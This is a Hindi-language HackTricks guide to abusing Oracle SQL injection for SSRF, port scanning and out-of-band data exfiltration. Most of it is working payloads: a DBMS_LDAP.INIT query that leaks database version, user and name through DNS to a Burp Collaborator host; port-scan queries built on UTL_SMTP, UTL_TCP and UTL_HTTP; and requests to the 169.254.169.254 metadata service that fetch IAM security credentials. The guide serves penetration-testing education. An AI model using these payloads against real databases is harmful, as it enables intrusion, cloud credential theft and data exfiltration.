16 KiB
Oracle इंजेक्शन
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs का संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर मुझे 🐦 @carlospolopm का अनुसरण करें.
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
SSRF
Oracle का उपयोग Out of Band HTTP और DNS अनुरोधों के लिए किया जाता है जो इंजेक्शन में SQL डेटा के एक्सफिल्ट्रेशन के लिए अच्छी तरह से दस्तावेजीकृत है। हम हमेशा इन तकनीकों/फंक्शन्स को अन्य SSRF/XSPA करने के लिए संशोधित कर सकते हैं।
Oracle को इंस्टॉल करना वास्तव में कष्टप्रद हो सकता है, खासकर जब आप कमांड्स को आजमाने के लिए जल्दी से एक इंस्टेंस सेटअप करना चाहते हों। मेरे दोस्त और सहकर्मी Appsecco में, Abhisek Datta, ने मुझे https://github.com/MaksymBilenko/docker-oracle-12c की ओर इशारा किया जिसने मुझे AWS Ubuntu मशीन और Docker पर t2.large इंस्टेंस सेटअप करने में मदद की।
मैंने --network="host"
फ्लैग के साथ डॉकर कमांड चलाई ताकि मैं Oracle को नेटिव इंस्टॉल के साथ पूर्ण नेटवर्क एक्सेस के रूप में अनुकरण कर सकूं, इस ब्लॉगपोस्ट के दौरान।
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
Oracle पैकेज जो URL या Hostname/Port Number स्पेसिफिकेशन का समर्थन करते हैं
Hostname और port स्पेसिफिकेशन का समर्थन करने वाले किसी भी पैकेज और फंक्शन्स को खोजने के लिए, मैंने Oracle Database Online Documentation पर Google खोज की। विशेष रूप से,
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
खोज से निम्नलिखित परिणाम मिले (सभी का उपयोग आउटबाउंड नेटवर्क के लिए नहीं किया जा सकता)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
यह सामान्य खोज स्पष्ट रूप से DBMS_LDAP
जैसे पैकेजों को छोड़ देती है (जो होस्टनेम और पोर्ट नंबर पास करने की अनुमति देता है) क्योंकि दस्तावेज़ीकरण पृष्ठ आपको सिर्फ अलग स्थान पर इंगित करता है। इसलिए, अन्य Oracle पैकेज भी हो सकते हैं जिनका उपयोग आउटबाउंड अनुरोध करने के लिए किया जा सकता है जो मैंने छोड़ दिया हो।
बहरहाल, आइए हम कुछ पैकेजों पर नजर डालते हैं जिन्हें हमने खोजा है और ऊपर सूचीबद्ध किया है।
DBMS_LDAP.INIT
DBMS_LDAP
पैकेज LDAP सर्वरों से डेटा तक पहुँच की अनुमति देता है। init()
फ़ंक्शन एक LDAP सर्वर के साथ एक सत्र को प्रारंभ करता है और एक होस्टनेम और पोर्ट नंबर को तर्क के रूप में लेता है।
इस फ़ंक्शन को पहले DNS के माध्यम से डेटा के निष्कासन को दिखाने के लिए दस्तावेज़ किया गया है, नीचे की तरह
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
हालांकि, चूंकि फ़ंक्शन एक होस्टनाम और पोर्ट नंबर को आर्ग्यूमेंट्स के रूप में स्वीकार करता है, आप इसका उपयोग पोर्ट स्कैनर की तरह भी कर सकते हैं।
यहाँ कुछ उदाहरण दिए गए हैं
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` यह दर्शाता है कि पोर्ट बंद है जबकि एक सत्र मूल्य इसे खुला होने का संकेत देता है।
**UTL_SMTP**
`UTL_SMTP` पैकेज SMTP के माध्यम से ई-मेल भेजने के लिए डिज़ाइन किया गया है। [Oracle documentation site पर दी गई उदाहरण दिखाती है कि आप इस पैकेज का उपयोग ई-मेल भेजने के लिए कैसे कर सकते हैं](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478)। हालांकि, हमारे लिए दिलचस्प बात यह है कि होस्ट और पोर्ट निर्दिष्टीकरण प्रदान करने की क्षमता के साथ।
नीचे दिया गया एक सरल उदाहरण `UTL_SMTP.OPEN_CONNECTION` फ़ंक्शन के साथ दिखाया गया है, जिसमें 2 सेकंड का टाइमआउट है
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
ORA-29276: transfer timeout
का अर्थ है कि पोर्ट खुला है लेकिन SMTP कनेक्शन स्थापित नहीं हुआ, जबकि ORA-29278: SMTP transient error: 421 Service not available
दर्शाता है कि पोर्ट बंद है।
UTL_TCP
UTL_TCP
पैकेज और इसकी प्रक्रियाएं और फंक्शन TCP/IP आधारित संचार सेवाओं के साथ संवाद स्थापित करने की अनुमति देते हैं। यदि यह पैकेज किसी विशेष सेवा के लिए प्रोग्राम किया गया हो, तो यह नेटवर्क में प्रवेश का एक सरल मार्ग बन सकता है या पूर्ण Server Side Requests कर सकता है क्योंकि TCP/IP कनेक्शन के सभी पहलुओं को नियंत्रित किया जा सकता है।
ऑरेकल डॉक्यूमेंटेशन साइट पर दिए गए उदाहरण में दिखाया गया है कि आप इस पैकेज का उपयोग करके किसी वेब पेज को प्राप्त करने के लिए कच्चे TCP कनेक्शन कैसे बना सकते हैं। हम इसे और भी सरल बना सकते हैं और इसका उपयोग मेटाडेटा इंस्टेंस के लिए अनुरोध करने या किसी मनमानी TCP/IP सेवा के लिए कर सकते हैं।
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
UTL_HTTP और वेब अनुरोध
शायद सबसे आम और व्यापक रूप से दस्तावेजीकृत तकनीक हर Out of Band Oracle SQL Injection ट्यूटोरियल में UTL_HTTP
पैकेज है। इस पैकेज को दस्तावेज़ीकरण में परिभाषित किया गया है - UTL_HTTP पैकेज SQL और PL/SQL से Hypertext Transfer Protocol (HTTP) कॉलआउट करता है। आप इसका उपयोग HTTP पर इंटरनेट पर डेटा तक पहुँचने के लिए कर सकते हैं।
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
आप इसका उपयोग कुछ मूलभूत पोर्ट स्कैनिंग के लिए भी कर सकते हैं, जैसे कि क्वेरीज के साथ
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
ORA-12541: TNS:no listener
या TNS:operation timed out
यह संकेत देता है कि TCP पोर्ट बंद है, जबकि ORA-29263: HTTP protocol error
या डेटा यह संकेत देता है कि पोर्ट खुला है।
अतीत में मैंने जिस अन्य पैकेज का उपयोग किया है वह GETCLOB()
विधि HTTPURITYPE
Oracle अमूर्त प्रकार की है जो आपको URL के साथ इंटरैक्ट करने और HTTP प्रोटोकॉल के लिए समर्थन प्रदान करती है। GETCLOB()
विधि का उपयोग URL से GET प्रतिक्रिया को CLOB डेटा प्रकार के रूप में प्राप्त करने के लिए किया जाता है। [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से नायक तक htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord group में शामिल हों या telegram group में शामिल हों या मुझे Twitter 🐦 पर फॉलो करें @carlospolopm.
- HackTricks और HackTricks Cloud github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।